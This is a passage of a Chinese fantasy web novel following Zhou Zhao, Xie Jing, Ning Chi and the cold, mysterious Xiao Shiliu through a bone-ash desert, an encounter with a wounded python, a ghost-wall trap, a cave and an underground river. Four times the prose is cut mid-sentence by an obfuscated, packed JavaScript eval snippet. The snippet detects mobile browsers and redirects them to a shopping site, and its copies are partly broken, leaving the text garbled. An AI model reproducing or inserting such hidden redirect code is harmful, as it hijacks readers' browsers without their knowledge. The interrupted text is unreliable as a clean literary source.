而萧十六就这么大大咧咧地躺在前辈们的骨灰上,双臂交叉垫在脑袋底下,望着头顶时而飘过来又飘过去的云,那件撕开的外袍正好搭在他的膝盖上,风一吹,露出黑靴包裹着的小腿,紧实且修长。 他本来沉默不语,此时突然道:“确实。” 谢景一下来了兴致,问道:“你知道?” 萧十六慢条斯理道:“行人岭嘛,当然有很多人喽。” 这话说了等于没说,周昭道:“疟鬼也算吗?” 萧十六少见地笑了一声,道:“算吧。” 谢景反驳道:“鬼怎么算是人?不对,难不成行人岭,全都是疟鬼吧?” 萧十六没答话,谢景自讨没趣,从巨石上跳下来看宁啻去了。 一阵微风吹过荒原,混合着黄沙与人骨的萧瑟扑面而来,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16631977|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭问道:“十六,你对三苗国很熟悉吗?” “算是吧。”萧十六睁开眼睛,抽出一只手臂盖在脸上,“小殿下,你是不是想问我为什么远在苍界山,却对三苗国熟悉?” 周昭被他点破心中所想,坦然道:“你可以选择不回答。” 萧十六翻了个身,随口答道:“因为我来过啊。” 周昭露出惊讶的表情,对方抬手一指,用难得真诚的语气道:“你那废物朋友醒了。” “表弟!我还活着?!” 听宁啻那中气十足的声音,周昭就知道他的伤无碍了。宁啻跳起来,腿一软又差点倒下去,似乎难以置信地将自己从上到下仔仔细细检查了个遍,于是发出了这样的疑问。 谢景面无表情道:“不,表哥,其实你已经死了。” 他指了指地面:“你脚下就是骨灰。” 宁啻的表情一时间五彩斑斓,周昭哭笑不得道:“长淮,你别吓他了。” 宁啻看见周昭,即刻露出一个灿烂的笑脸以及一口大白牙,变脸速度之快令人咂舌。他一瘸一拐地走过来,道:“阿鸢!太好了你也活着!” 萧十六听到这个称呼时似乎眉毛轻轻跳了跳。 宁啻全然不知是周昭救了他,走到周昭身边好一通关切,压根没注意到旁边还有个人。等他的注意力终于从周昭身上移开,看见躺在地上的萧十六时,不由好奇道:“咦?阿鸢,这里怎么多了具尸体?” 周昭:“......” “表哥,”远处的谢景无语道,“你眼睛也受伤了吗?” “呃......”周昭不知道该怎么给宁啻解释凭空多了一个人,萧十六似乎也没有站起来打个招呼的意思,只好硬着头皮介绍道:“宁兄,这位是......一位远道而来的朋友。” “哈?”宁啻道,“这么远来的?” 他看向谢景,对方点点头,挤出一丝微笑:“表哥,那位真是......远道而来,特意赶来救人的朋友。” 谢景这话说得咬牙切齿,他总不能对宁啻实话实说,说躺在那儿的好汉简直像是从天而降,至于为什么能从天而降他也没弄明白,然后将他们二人犹如老鹰抓小鸡般从半尸嘴里救下来了,那他堂堂黎国太子的脸还要不要了! 宁啻挠挠头,道:“看来我真是睡过去太久了。但这位朋友,躺在骨灰里真的不要紧吗?” 周昭想叫萧十六起来,手刚伸出去刚碰了碰萧十六的胳膊,他突然翻身而起,铁钳一样攥住周昭的手腕往后拧,看清是谁,才及时收住力道。 周昭冷不防被他眼底汹涌的杀意吓了一跳,低声道:“十六……我是想……” 对方缓缓松开手,不知道歉,反而道:“我方才做了个梦。” 宁啻道:“这位朋友,你做了什么梦。” 萧十六站起来抖了抖身上的骨灰,说道:“我梦见自己是个士兵,在这片荒漠里跑啊跑。” “然后呢?” 萧十六将掌心摊开,绵软的沙砾在太阳底下像一把碎金,他看了周昭一眼,道:“然后我就醒了。” 谢景不以为然道:“在这种地方还能做梦,可真是个怪人。” 这里遍地都是骨灰,谁知道哪里又会冒出来半尸还是旁的什么东西,竟还能睡着做梦,不是怪人是什么? 谢景正这么想着,却见对面的宁啻突然睁大眼睛,露出惊恐的表情,谢景疑惑道:“怎么?我说得不对吗?表哥,你怕他做什么?” 宁啻指着他背后,大叫道:“表、表弟!蛇!” 35. 巨蟒 谢景以为宁啻又像小时候那样吓唬他玩儿,不由道:“蛇?笑话,这荒漠里怎么会有蛇?” “长淮!真有蛇!” 最先反应过来的人是周昭,她眼疾手快地拿起地上的剑,与此同时,谢景感到脖颈处一阵凉飕飕的阴风和近在身侧的嘶嘶声。 谢景一回头,正对那条巨蟒两个灯笼般黄橙橙的蛇眼睛。 错愕间,蟒蛇张开血盆大口! 周昭一跃而起,但巨蟒的皮肉竟坚硬如铁,巨大的蛇首一晃将她剑锋弹开,谢景趁机打了个滚从蛇口底下脱险,不由叫道:“这里怎么会有蛇的?!” 众人连连后退,眼前的是一条成人小臂粗细的青色巨蟒,吐着血红色的长信子,方才在他们都没有发觉的时候悄然爬到了谢景身后。 它上半身直立着,竟有成年人那么高,而下半身还埋在土里,应该就是从地底下爬出来的。 蟒蛇方才一击不成按理说会恼羞成怒,但此刻它目光如炬,只是嘶嘶地吐着信子,并未再向它们袭来。 周昭仔细一看,才发现蟒蛇身上遍布伤痕,有的甚至还在流血,皮肤在阳光下呈现出暗红色的斑驳纹路。 周昭道:“长淮,你看它的伤,像不像刚才那些半尸们留下的?” 谢景惊魂未定,经周昭这么一提醒也看出了端倪,点点头道:“好像是,难道它也是被半尸困在此处的?” 既脱了险,谢景那颗猎奇的心又开始躁动,他将巨蟒看了又看,忽然道:“等等,你们没发现它一直在看一个人吗?” 周昭循着谢景的目光看去,萧十六正十分悠闲地站在那儿,手里还把玩着那些亮晶晶的骨灰,反问道:“看我做什么?” 谢景扬了扬下巴:“你也早就看见这蟒了吧?” 按照刚才的方位,宁啻和萧十六都是面向谢景的,谢景不信对方没发现蟒蛇,故有此一问。 萧十六很坦诚道:“是啊,我早就发现了。” 他抖干净手里的骨灰,往前走了两步,巨蟒的目光也跟着他微微移动。蛇首像是察觉到某种危险的信号,微不可察地稍稍后倾了些。 谢景自然没有放过这个细节,道:“看!” 轰! 下一瞬,那只蟒蛇就这么在众人面前软趴趴地倒下去了。 萧十六回过头,十分无辜道:“不关我事。” 确实不关他的事。 巨蟒应该是像他们误闯入这里,在不久前被半尸袭击拖入地下,如果不出意外它会成为这里最好的肥料。但周昭他们清理干净了大部分半尸,巨蟒才得以脱身。不过它受困太久,伤势不轻,此刻精疲力竭软绵绵地倒在地上,看上去一点儿攻击性也没有了。 宁啻拍拍胸口,喘出一大口气,道:“还好还好。” 周昭道:“长淮,它刚才是把你当成食物了吧。” “这个不重要。”谢景一挥手,步步紧逼道,“你,跟它认识?还有,你刚才明明看见蟒蛇来了,为什么不说?” 他语气中隐隐有几分质问,无他,只是眼前这个人给他的感觉总不大好,就好像什么东西一直在暗处蛰伏着,而对方却游刃有余。换句话说,这是个完全脱离他们掌控的人,于谢景而言,脱离掌控的都算危险人物。 萧十六语气不善道:“我为什么要说?你们的死活,跟我有关系吗?” 周遭气温彷佛瞬间冷却,宁啻搞不清缘由,纳闷道:“这位朋友,你说的这话什么意思?难道你不是远道而来赶来救我们的吗?” 萧十六冷哼道:“笑话。” 周昭见状,连忙站在两人中间,将谢景咄咄逼人的目光隔开,道:“我说二位,当务之急能先说说这巨蟒怎么处理吗?” “杀了。” 一左一右的两人异口同声道。 周昭哭笑不得,想不到在这件事上他们竟有如此的默契,谢景先开口道:“这东西留着也是祸害,方才它不就是想吃了我们吗?而且我们也只是猜测,谁知道它和半尸是不是一伙的,专门在荒漠上食人肉。” 巨蟒像是听懂了他说的话,晃了晃蛇首想爬起来,不知道是因为饿了还是伤重,又摇摇晃晃地一头栽下去,目光里泄出一丝不易察觉的凶狠。 萧十六蹲下身,一点儿也不怕,手掌在蛇首上像拍着玩儿似地重重拍了几下,道:“小殿下,你的剑刺不穿蛇皮,我建议你可以从它嘴巴里刺进去,再开膛破肚,划成两半,蛇皮也可剥下来玩儿。” 他语气天真,说出来的话却十分残忍。巨蟒被他拍打的有些可怜,有气无力地拿那双眼睛求救似地看向周昭。 谢景虽然认同杀掉巨蟒的意见,但此等血腥手法并不认同,厌恶道:“何必那么麻烦,一剑刺死算了。” 宁啻却道:“算了吧,我连鸡都没杀过,可见不得杀这种庞然大物。” 谢景无语道:“表哥,又没让你动手。” 周昭见这蟒蛇少说也有上百年岁,如今模样凄惨威风不在,心中有些不忍,谢景叫道:“让我来!” “长淮,”周昭阻止道,“算了吧。反正我们也没被它伤到,所谓大路朝天,各走一边,我们赶去行人岭要紧。” 谢景还在犹豫,宁啻也说道:“是啊表弟,阿鸢说得对,再说杀孽犯多了是要遭天谴的。” 萧十六像是听到了什么好笑的事情,突然发笑道:“有意思。” 他站起身,语气捉摸不定道:“小殿下,你这朋友忽然让我想起了三年前。你说,我是不是该感谢你让我免于天谴呢?” 萧十六虽是这样问,但周昭总觉得他话里有话。如果她猜得不错,真正的意思应是,若她当时也用同样的话劝十六不要不要犯杀孽,猫和她都会死在对方手上。 她心底生寒,只觉得眼前这个人和刚才倾力救他们的竟像两个人。她早前提醒过谢景离十六远点儿,今日荒漠再见,反倒是她半点儿戒备心都没有了,于是勉力一笑,道:“......十六你真会说笑。” “你们又在打什么哑谜......”谢景和宁啻都是一脸迷茫,萧十六冷淡地笑了笑,周昭亦没有接话。 兴许是这地方实在荒芜,他们用行云令试了好几次都没能奏效,于是一行人只好收拾行囊继续朝荒漠外走去。 说行囊实在夸张了些,周昭他们拿着的不过是江梅棠给的那只乾坤锦囊,里面装着的都是此行需要用到的符箓药品之类。不论周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645813|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭还是谢景,生来就仆从跟随众星捧月,因此出门必备的干粮竟是一个也没想起来。 还好有宁啻。他出门时带着的那包东西竟还装了不少吃的,谢景啃了一口家乡的烤饼,险些流泪:“好表哥,原来你这包里装了这么多好东西呢。” 宁啻又像周昭初见时那样脱掉上衣,将衣服在腰里随意打了个结,得意道:“怎么样?我说了没我不行吧!” 早就饿极了的谢景疯狂点头道:“表哥,没你不行。” 宁啻比谢景还要高些,小麦肤色和这荒漠相得益彰,生出几分莫名的野性来。特别是他现在裸着上身,肌肉虽不十分健壮但也线条分明,怎么看都不像不会武功的人,谢景盯着他瞧了半晌,宁啻被他看得心里发毛,忍不住道:“表弟,我不喜欢男人的。” 谢景白了他一眼,道:“表哥,我记得小时候有段时间你闹着要出家,想上山修道学艺,后来没去?” 宁啻道:“你也说是小时候的事情,提那个做什么?后来生了场病,学不成了呗。” 他看似潇洒,言语中却流露出几分落寞来。谢景毫无觉察,纳闷道:“生病了?什么时候?我走以后吗?” “是啊。”宁啻转过头,换上一副苦大仇深的表情,“表弟你走了,我忧思成疾啊!” 谢景:“......” 萧十六独自一人走在最前面,看上去对他们一点儿兴趣也没有。周昭想了想,还是将手里的饼一分为二,追上他,道:“给。” “不要。” 周昭咬了一口饼,又举到萧十六面前:“十六,这个很香的,你真的不尝尝吗?” 萧十六目光侧过来,却不为所动。 谢景见状,大声道:“阿鸢,刚才我们给他就不要,你又去干什么?” 周昭遗憾道:“好吧......” 她刚要收回,手里突然一空,那块饼已经到了萧十六手上。他举着饼在阳光下看了看,表情很微妙,似乎有点嫌弃,又或者是别的什么意味。 萧十六将那块饼凑到鼻子前闻了闻,这让周昭忍不住想起那只养过的小狼狗,她想到这里赶紧摇摇头,心道:“要是让十六知道我将他比作小狗,定是要生气的。” 萧十六三两下吃完了,周昭问道:“好不好吃?” “就那样吧。”萧十六道。 周昭道:“不打紧,你若是觉得这个不好吃,等回宫我请你吃别的。十六,你吃过蟹粉酥吗?等入了秋,我让父皇送些来山上。” 她还想说什么,却被萧十六打断:“小殿下,你有时候很幼稚。” 萧十六道:“你无非是觉得今日我救了你,于是当下你心中总想着我喜欢什么,想要什么,巴不得立刻就给我,好将这点恩情还了。等过了这阵子,你是你,我是我,何必还等入秋,嗯?” 对方不领情,还说得头头是道,周昭只好讪讪道:“啊,幼稚吗?我不是这个意思......” “不过,要让一个人时时刻刻记着另一个人喜欢什么,想要什么,应该很难。”十六似乎认真思考了下这个问题,他沉思时凤眼微微下垂,面容比平常要显得柔和些,“不仅很难,还很麻烦,很蠢。” 36. 山洞 他很少用这么强烈的词,如今一连点评三个“很”字,果真觉得这是件于自己而言很抗拒的事情。 周昭认真道:“也没有,母后就会时时刻刻想着我们喜欢什么,想要什么,譬如我喜欢蟹粉酥,每次宫宴都有这道点心。五哥喜欢字画,宫里进贡来的多半会送去他那里,这也许有点难,麻烦,但并不蠢。” 萧十六抬手遮了遮阳光,他微微眯起眼睛,用很轻的声音漠然道:“不,很蠢,太蠢了。” “你们在说什么?谁太蠢了?”宁啻凑过来道,“表弟他确实有点蠢,不过也还好吧,干嘛说他。” “喂!谁说我坏话!” 周昭促狭道:“我们谢景殿下可是金枝玉叶,谁敢说你坏话。” 萧十六停下脚步,一块巨石挡在他们的必经之路,谢景上前道:“奇了怪了,我怎么觉得我们刚才就在这儿?” 周昭捡起一块碎布:“这就是我们刚休息的地方,你们看,这是长淮的衣服。” 谢景被半尸围攻,周昭手里的布条正是半尸从谢景衣服上撕下来的。宁啻道:“不对啊,我们已经走了大半个时辰,怎么又回来了?” 此时日头正毒辣,周昭抬头看了看,天上一丝云也没有,她指着那块巨石道:“确实不对。” 谢景道:“哪里不对?” 萧十六道:“影子。” 周昭接着道:“就是影子。我们在此处休息时,背靠巨石,刚好躲在石头阴影下面,大约是午时初。已经过了快一个时辰,你们看石头的影子,分毫未动。” 谢景道:“没错!影子的方向跟刚才一模一样。” “完了!不会遇到鬼打墙了吧!”宁啻在原地踱步道,“这里离无相渊很近,被困住可不是闹着玩儿的!无相渊可比三苗国更为凶险,这里不过是缺胳膊少腿的半尸,无相渊那可都是全乎的千年恶鬼,吃人的!” 谢景见他越说越夸张,不屑一顾道:“表哥,照你这么说,黎国也挨着无妄海,我怎么没听过恶鬼从海底爬出来吃人的?” 宁啻一本正经道:“那是因为从来没有人成功渡过无妄海,海底住着一只鬼王,名叫成业,无妄海是他的地界。” “鬼王?笑死人了!”谢景哈哈大笑道,“那你说说,他是男是女?长什么样子?” 他俩正互不相让,突然传来一声熟悉的嗤笑,谢景见笑他的正是自己最不待见的那位,不由反问道:“喂,你笑什么?” 周昭也问道:“十六,你听说过吗?” 萧十六答道:“我笑你们不好好想想怎么出去,反倒争论这些,难道是想让那位亲自出来,带你们出去吗?” 周昭心想:“十六口中的那位,应当就是指‘鬼王成业’了,难道世间真的有鬼王存在吗?不过既然有鬼,有鬼王也不是稀奇事儿,但从没听师父提起过......” 谢景哑口无言,半晌,道:“你不是很厉害吗?怎么出去?” 萧十六两手一摊:“不好意思,无可奉告。” 周昭问道:“宁兄,劳烦再讲讲鬼打墙是什么说法。” 宁啻道:“我也是听别人说的,鬼打墙,其实就是一种幻象,通过周围的环境引导你,你以为你走得方向是对的,其实是错的,最后被困死在里面。” 周昭沉吟片刻,道:“我想,我们也许能走出去。既然我们看到的方向都是错的,也就是说这里根本没有方向,不如......” “将错就错!”谢景附和道,“我知道了,不如我们蒙上眼睛,一直往前走,鬼打墙就不会影响我们的判断了。” 宁啻赞许道:“阿鸢,你真聪明。” 周昭道:“我也只是猜测。” 一直沉默的萧十六开了尊口:“不妨试试。” 周昭看向十六,不知道为什么,她总觉得十六什么都知道,只是不愿意开口,或者说,认为没必要告诉他们。这只说明了一件事,于十六而言,他们的死活确实无关紧要。十六的姿态永远是高高在上的,譬如问她如何破局,譬如现在让她不妨一试。 所有人都没意见,于是各自从衣袍上撕下一条布带蒙在眼睛上。谢景和宁啻二人已经做好了蒙眼的布带,周昭手里捏着的是宁啻给她的,她见十六一直站着不动,低头一看,才想起十六下半截衣袍方才都撕成布条给她包扎伤口了。若是再撕衣服,难免会有点滑稽。 她不由分说地将手中布带递过去:“十六,用这个。” 萧十六睨了她一眼,表示嫌恶道:“不要。” 周昭不在意地笑了笑,抽出匕首利落地在自己的裙摆划下一长条,道:“那你挑吧。” 谢景嗤之以鼻,跟宁啻咬耳朵:“什么人呐!让女孩子撕衣服给他......” 十六似是有些意外,不过还是伸手接了。 周昭这身衣裙是天蚕丝织的,翡翠天青色的料子,薄如蝉翼,绵软中又带着几分凉意。 因此,这块布料从周昭裙摆上落到十六掌心时,那份凉沁沁的柔软触感,就好像苍界山天边一片云,一并轻飘飘地落在他掌心了。 “等等。”谢景本来已经蒙好眼睛,忽然将其扯了,“我们都这么蒙住眼睛,万一走了不同的方向怎么办?” 周昭道:“唔,这确实是个问题。” 宁啻道:“我提议,我们牵着手走!” 说罢,宁啻便悄无声息地往周昭那边靠了靠,谢景假装没看到他那便宜表哥打的什么歪心思,周昭也不扭捏,点头同意。 若按现在的站位,周昭站在萧十六和宁啻二人中间,谢景在最外。宁啻喜笑颜开:“阿鸢,我......” 话还未说完,一根白森森的大腿骨便从天而降落到他怀里,宁啻三魂惊掉两魂,手一抖扔掉腿骨,叫道:“什么鬼东西?!” “不想要那个,这儿还有一根。”始作俑者晃了晃手里的另一根骨头,周昭无奈道:“十六,你别吓他。” 谢景眉毛跳了跳,问道:“这不会是半尸吧?” “不是。”萧十六懒洋洋道,“新鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655105|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人骨头。” “你哪儿来的?” 萧十六指了指石头旁边的坑,道:“挖的。里面还有很多,你要不要?” 谢景:“......” 萧十六将那根腿骨捡起来丢给宁啻,对方仓皇接住,他走到周昭身边,道:“握住另一边,别松手。” 周昭应道:“好。” 他们就这样蒙着眼睛,手牵手朝着同一个方向往前走。耳畔唯有风声絮絮,静悄悄的,并没有人开口说话。 这一路跟上回所走的路程果然不同,并没有遇到任何路障。约莫走了一炷香,周昭听见宁啻问道:“阿鸢,你怎么松开手了?” “嗯?”右手边的力度分毫未变,周昭疑惑应道,“我没有松开啊。” 下一瞬,周昭感觉左手握住的人骨另一端忽然一松。她扯掉蒙眼的缎带,一看,哪里还有其他人的影子,只剩两根孤零零的人骨头握在手里。 眼前黄沙漫天,根本无法视物,周昭挥了挥骨头,发现身侧凭空多出来一个巨大的地洞。 “长淮!” 周昭喊了几声也不见应,却瞥见洞口悬着根欲落不落的缎带,正是她交给萧十六的那根。她心中一阵后怕,冲着地洞又喊道:“十六!你在吗!” 此时风沙愈发大了,那洞口竟然眼看着一点点缩小,好像一只缓缓闭合的深渊巨口。 周昭心一横,暗道:“不就是一个洞吗?难不成真就摔死我了?” 周昭此人自小泡在蜜罐子里长大,爹疼妈爱,上面又有几个哥哥们宠着。就算是苍界山上那位,也对她“爱之深责之切”地捧在手心里教养着。这一人一勺糖地养成了周昭那颗宽厚仁爱的心,好处不必多说,坏处也十分明显——不记仇,十分没心没肺地愿意相信别人。 譬如纵使萧十六从前似是而非地要杀她,不管杀没杀,反正是存了那么点儿恶毒心思。 眼下萧十六“远程而来”救她一条性命,周昭便肯把全副身家都交出去。 她纵身一跃,跳进这深渊巨口。 几乎是她刚跳进去,头顶的那点儿光线便与世隔绝般消失了。 紧跟着,后背传来一阵剧痛,周昭宛如掉了线的风筝摔在洞底,摔得她眼冒金星。 等周昭缓过这阵疼,眼睛勉强视物,才发现这地方大得惊人。模糊间,一个身影像鬼似的蓦地出现洞壁的倒影上。周昭下意识摸刀,看清是谁,顿时卸了防备,就着摔下来的姿势向后一瘫,问道:“十六,你吓死我了。” 萧十六俯视着她,微微弯下腰,目光危险,淡淡道:“小殿下,你就这么信任我?” 周昭反问道:“你不值得我信任吗?” 这洞里不算明亮,从下往上看,萧十六那双眼睛显得格外幽深。此刻他的眼底闪过一丝疑惑,反倒显出几分易于亲近的人情味儿来。 “......万一不呢。” “那我只好赌一把。”周昭望着头顶黑漆漆的一片,突然语气一沉,“十六,这里不太对。” 37. 暗河 萧十六抬头看去,周昭道:“洞口完全封死了,就好像......” “就好像没有洞口,这里不是地洞,而是别的什么地方。”萧十六没有对这件事表现出太多惊讶,他垂下眸子,目光停在周昭脸上,问道,“小殿下,你打算一直这么躺着吗?” 被他这么一问,周昭才反应过来,她被盯得有些不自在,试着挪动了下身体,讪讪道:“......我起不来。” 周昭掉下来时就感觉到了,这荒漠下竟是一片类似沼泽泥地的地方,摸上去很潮湿。也幸亏这里还算软,不至于摔得她粉身碎骨。但毕竟从那么高掉下来,还是痛极了。 萧十六听她这么说,递给她一只借力的手。 周昭忍不住嘶了一声,萧十六淡淡道:“你受伤了?” 周昭从身下的泥地里摸到一块凸起,触感光滑,不像是石头。她捡起来,借着微光仔细瞧了瞧,那是一块完好无损的碧玉,道:“哦,就是这东西硌到我了。” 说硌到是轻的,实际上周昭的后腰应该是被撞伤了,才会一时半会儿起不来。 萧十六道:“这玉很特别。” 确实特别。 玉饰一般玉佩居多,但这块玉不像装饰物,足有半个手掌大小,拿在手里沉甸甸的,上面还有些繁复细致的花纹,只是被泥土覆盖住了看不清楚。周昭将玉放在一边:“别管这玉了,我们还是想想怎么出去吧。说起来,既然头顶看不到出口,光源是什么呢?” 萧十六抬手指道:“石壁。” 周昭方才一直是躺着,起身才看见洞里的石壁竟散发着淡淡的明黄色幽光,忍不住道:“真是奇了。” “还能走吗?” “能走。” 萧十六扶她坐下,盯着石壁看了半晌:“原来是一种虫子,我也不认识。” 他说着便伸出手,周昭刚想出声制止,却已经来不及。萧十六从石壁抓了只发光的虫子举到她眼前,道:“看,尾巴在发光。” 周昭一把抓住他手臂,急道:“快丢开它,小心有毒。” 萧十六并不照做,那双好看的凤眼微微抬了抬,问道:“有毒怎么了?” 周昭耐心道:“有毒你会受伤的。” 她生怕萧十六再问她受伤怎么了,虽然别人一定不会问这种问题,但十六说不定真会问,她催促道:“放开它吧,十六。” 萧十六哦了一声,手一松,那只小虫子又自动飞回石壁去了。洞中太黑,周昭突然瞥见手腕那朵莲花,竟然清晰地浮现在黑暗里,原来这东西平时不显山露水,只有在没光的地方才能看到,她忍不住问道:“十六,你就是跟着这莲花找到我们的吗?” 萧十六猛地扭过头,目光阴冷:“你觉得我跟踪你?” “不!我不是这个意思......”周昭等他神情缓和些,才问,“这术法有名字吗?我只是觉得怪有意思的。” “没有。”十六冷漠地说完,站起来环顾四周,“你坐在这儿,我去找找出口。” 周昭本来想跟他一起,但想了想自己若是执意这么做,反而会成为对方的负担。她道:“十六,拿着剑。” 她很早就注意到十六似乎从来没有佩剑,哪怕此番来三苗国,也是空手而来的。 萧十六歪了歪头,道:“我不会使剑。” 周昭忍不住啊了一声,心想:“十六身手很好,却不会使剑,当真是件怪事。” 她随后又想到十六自小在苍界山,应当是没人教过他的,心下十分惋惜,脱口而出道:“等回苍界山,我们一起练剑。” 萧十六挥挥手离开了。 等他走远了,周昭才后知后觉自己说的实在可笑。十六就算不会用剑,也不逊色他们任何一个人,她竟大言不惭要和对方练剑。 周昭百无聊赖,目光停留在旁边那块玉上。这阵子她的眼睛已经适应了洞里的黑暗,加上实在好奇,便又捡起那块玉,将上面的泥土擦干净,小心翼翼地托在掌心里看。 玉石在石壁的照耀下包裹上一层柔和的淡光,更显其本质纯净,令人惊叹。就像一块微冷的月光被她捧在手心,周昭情不自禁称赞道:“真是一块好玉,要是拿给五哥看看就好了。” 周昭口中的五哥便是六皇子周澈,他身体不大好,不好争权,对这些字画玉石倒是情有独钟。 借着微光,周昭辨认出玉石上原来刻着的是九爪龙纹,龙首昂扬,栩栩如生。 莫非这是皇族的物件...... 她将玉石翻过来,底下果然刻着两行小字。可惜这些字不是周朝文字,周昭只勉强看得懂其中有一个“天”字,一个“人”字,别的完全猜不出了。 “看什么呢?” 循声望去,萧十六回来了。他应当是为了方便,干脆将外面那件短了半截、不伦不类的外袍脱了,只穿着里面的窄袖长衣。腰间用原先那根青绿色的腰带随意系了,愈发显得身姿挺拔。 只是他手里却拿着根老长的木头棍子,让人忍不住心想,如此英俊的少年应该拿着把剑才对,木棍实在煞风景。 “这地洞果然离奇。”十六边走边道。 周昭道:“怎么说?” 萧十六在她身边坐下,道:“有条暗河,应当是出口。” 周昭道:“荒漠之下竟有暗河,确实离奇。不过,我们一直待着这里也不是办法,不如出去看看再说。” 萧十六也认同周昭的看法,他点点头,目光在周昭手中那块玉上短暂地停留片刻,周昭将玉向他面前举了举,微笑道:“十六,这上面有字,我认不全,你瞧瞧?” 萧十六收回目光,轻描淡写道:“哦,有字。不过我不识几个字。” 周昭收回手,心道自己今日真是不宜多言。 萧十六继续道:“认得几个,但不会写。” 周昭没有追问,只将玉石小心放在原处。尽管她十分好奇,隐隐觉得这块玉跟三苗国一定有关联,但她一心记挂谢景二人的安危,一刻也不能再等了。 “十六,我们出去吧。” 十六打量她道:“那暗河不浅,你受了伤,渡不过去。” 周昭道:“无妨,我感觉好多了。” 她扶着墙壁缓缓站起来,那些会发光的小虫子在她的手快要靠近时,便悄然飞离了,因此周昭并没有触碰到它们,她不由想:“怪事,十六刚才怎地如此轻松就抓了一只。” “用这个。” 那根十六捡回来的木棍被强行塞到她手里,周昭暗道:“原来这老头棍是给我准备的。” 二人沿着蜿蜒曲折的山洞一直走,好在岔路不多,鬼打墙也没再出现。约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16663596|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莫半柱香后,果然听到水流声。 等他们走近些,眼前豁然开朗,一条玉带似的暗河蜿蜒其中,其实并不汹涌,只是在这空旷的洞中回响,显得声音格外大些。 有河就一定有出口,但出口距离此处多远可不好说。周昭虽识水性,心中亦有些发怵。 似是看出她心中思虑,身侧人问道:“怕了?” 周昭不答,反问道:“十六,这暗河比苍界山下那条如何?” 十六摇头道:“小了点。” 周昭莞尔一笑,道:“我也这么觉得,因此现在不怕了。你常与般般在山下大河抓鱼,眼前有何所惧?” 周昭的心态不可谓不好,她将满头青丝随手绾起,道:“十六,水下情况未知,等会儿我们千万不要走散了,万一真走散了,就回到这儿会合,如何?” 萧十六嗯了一声,捡起木棍在地上划拉了几下。 周昭侧过身子看了看,忍不住咦了一声,十六道:“做个标记。” 这里地形复杂,做个标记自然万无一失,不过周昭疑惑的不是这个,她问道:“十六,你写的什么字?” 萧十六挑眉道:“小殿下,莫非是在说我写得太丑,入不了你的眼?” 周昭仔细看了看,还是认不出,十六便在旁边又写了个字,待他写完最后一笔,周昭恍然大悟道:“明鸢?第一个原来是‘明’字?这是哪种文字?我从没有见过。” 那个‘明’并非寻常写法,左边是个圆圈,右边则是一个月牙形,十六丢开木棍,罕见地笑了笑,道:“这是我造的字。明者,日月也。” “妙极了!”周昭道。 “胡乱写着玩儿的,”萧十六上前一步,向后看了一眼,“小殿下,你跟着我。” 他说完,便纵身一跃。 周昭紧随其后,甫一下水,才觉河水冰凉,寒意扑面而来。他们一前一后游了半柱香,只觉山洞中越来越暗,依稀能看到两侧石壁上光源也越来越少。 周昭正思虑间,水势突然湍急,前方竟出现了一个不大不小的漩涡。只因河道弯曲,等他们看见时已经快要到跟前。再往前被上方石壁挡住什么也看不见,周昭探出头,叫道:“小心!” 不消她提醒,萧十六自然也看见了那漩涡。他回过头,眉头紧锁地看了周昭一眼,本想到她身边去,无奈水势凶猛,再往前一定会被漩涡吸进去。 周昭灵机一动,拔出背后的剑,道:“接住了!” 这动作本来再简单不过,但在水中可不是那么容易,周昭这么奋力一扔,立刻被灌了一大口水,萧十六接住剑,反手往石壁上狠狠一插,利刃划出一道惊险的火花,总算堪堪在漩涡前停下,他一手握住剑柄,冲周昭喊道:“抓住我!” 周昭被呛得不轻,她奋力地朝十六那边游了几下,眼看就要抓住对方的手,一个巨浪打过来,周昭连声音也来不及发出,就淹没在那浪头里了。 河水冰冷刺骨,周昭后腰被撞到的地方愈发疼痛,简直像无数根针刺进骨缝里。她意识恍惚了一瞬,心想:我堂堂大周皇女,难不成今日要命丧于此? 不!疟鬼还没抓到,我怎么能死? 